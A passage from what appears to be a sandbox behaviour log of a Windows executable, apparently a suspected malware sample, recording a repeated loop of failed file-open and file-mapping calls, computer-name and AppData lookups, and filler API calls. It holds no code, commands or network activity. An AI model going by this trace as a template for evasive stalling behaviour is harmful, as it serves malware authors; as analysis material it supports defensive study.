lpFileSizeHigh=0x0) returned 0xffffffff [0222.826] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.826] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.826] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.826] CloseHandle (hObject=0x0) returned 0 [0222.826] CloseHandle (hObject=0xffffffff) returned 1 [0222.827] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.827] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.827] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.827] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.827] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.827] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.827] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.827] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.827] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.827] CloseHandle (hObject=0x0) returned 0 [0222.827] CloseHandle (hObject=0xffffffff) returned 1 [0222.827] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.827] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.827] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.828] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.828] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.828] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.828] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.828] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.828] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.828] CloseHandle (hObject=0x0) returned 0 [0222.828] CloseHandle (hObject=0xffffffff) returned 1 [0222.828] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.828] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.828] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.828] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.828] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.828] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.828] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.829] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.829] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.829] CloseHandle (hObject=0x0) returned 0 [0222.829] CloseHandle (hObject=0xffffffff) returned 1 [0222.829] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.829] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.829] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.829] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.829] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.829] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.829] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.829] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.829] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.829] CloseHandle (hObject=0x0) returned 0 [0222.829] CloseHandle (hObject=0xffffffff) returned 1 [0222.829] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.829] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.829] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.829] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.829] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.829] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.829] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.829] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.829] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.830] CloseHandle (hObject=0x0) returned 0 [0222.830] CloseHandle (hObject=0xffffffff) returned 1 [0222.830] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.830] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.830] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.830] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.830] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.830] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.830] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.830] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.830] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.830] CloseHandle (hObject=0x0) returned 0 [0222.830] CloseHandle (hObject=0xffffffff) returned 1 [0222.830] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.830] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.830] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.830] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.830] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.830] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.830] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.830] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.830] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.830] CloseHandle (hObject=0x0) returned 0 [0222.830] CloseHandle (hObject=0xffffffff) returned 1 [0222.831] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.831] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.831] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.831] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.831] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.831] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.831] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.831] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.831] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.831] CloseHandle (hObject=0x0) returned 0 [0222.831] CloseHandle (hObject=0xffffffff) returned 1 [0222.831] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.831] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.831] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.831] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.831] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.831] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.831] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.831] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.831] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.831] CloseHandle (hObject=0x0) returned 0 [0222.831] CloseHandle (hObject=0xffffffff) returned 1 [0222.831] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.831] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.832] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.832] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.832] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.832] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.832] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.832] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.832] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.832] CloseHandle (hObject=0x0) returned 0 [0222.832] CloseHandle (hObject=0xffffffff) returned 1 [0222.832] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.832] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.832] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.832] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.832] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.832] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.832] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.832] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.832] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.832] CloseHandle (hObject=0x0) returned 0 [0222.832] CloseHandle (hObject=0xffffffff) returned 1 [0222.832] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.832] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.832] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.832] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.832] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.833] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.833] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.833] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.833] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.833] CloseHandle (hObject=0x0) returned 0 [0222.833] CloseHandle (hObject=0xffffffff) returned 1 [0222.833] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.833] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.833] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.833] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.833] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.833] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.833] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.833] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.833] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.833] CloseHandle (hObject=0x0) returned 0 [0222.833] CloseHandle (hObject=0xffffffff) returned 1 [0222.833] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.833] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.833] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.833] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.833] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.833] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.833] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.833] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.833] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.833] CloseHandle (hObject=0x0) returned 0 [0222.834] CloseHandle (hObject=0xffffffff) returned 1 [0222.834] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.834] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.834] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.834] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.834] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.976] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.976] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.976] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.976] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.977] CloseHandle (hObject=0x0) returned 0 [0222.977] CloseHandle (hObject=0xffffffff) returned 1 [0222.977] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.977] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.977] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.977] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.977] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.977] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.977] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.977] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.977] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.977] CloseHandle (hObject=0x0) returned 0 [0222.977] CloseHandle (hObject=0xffffffff) returned 1 [0222.977] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.977] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.977] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.977] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.977] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.978] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.978] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.978] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, 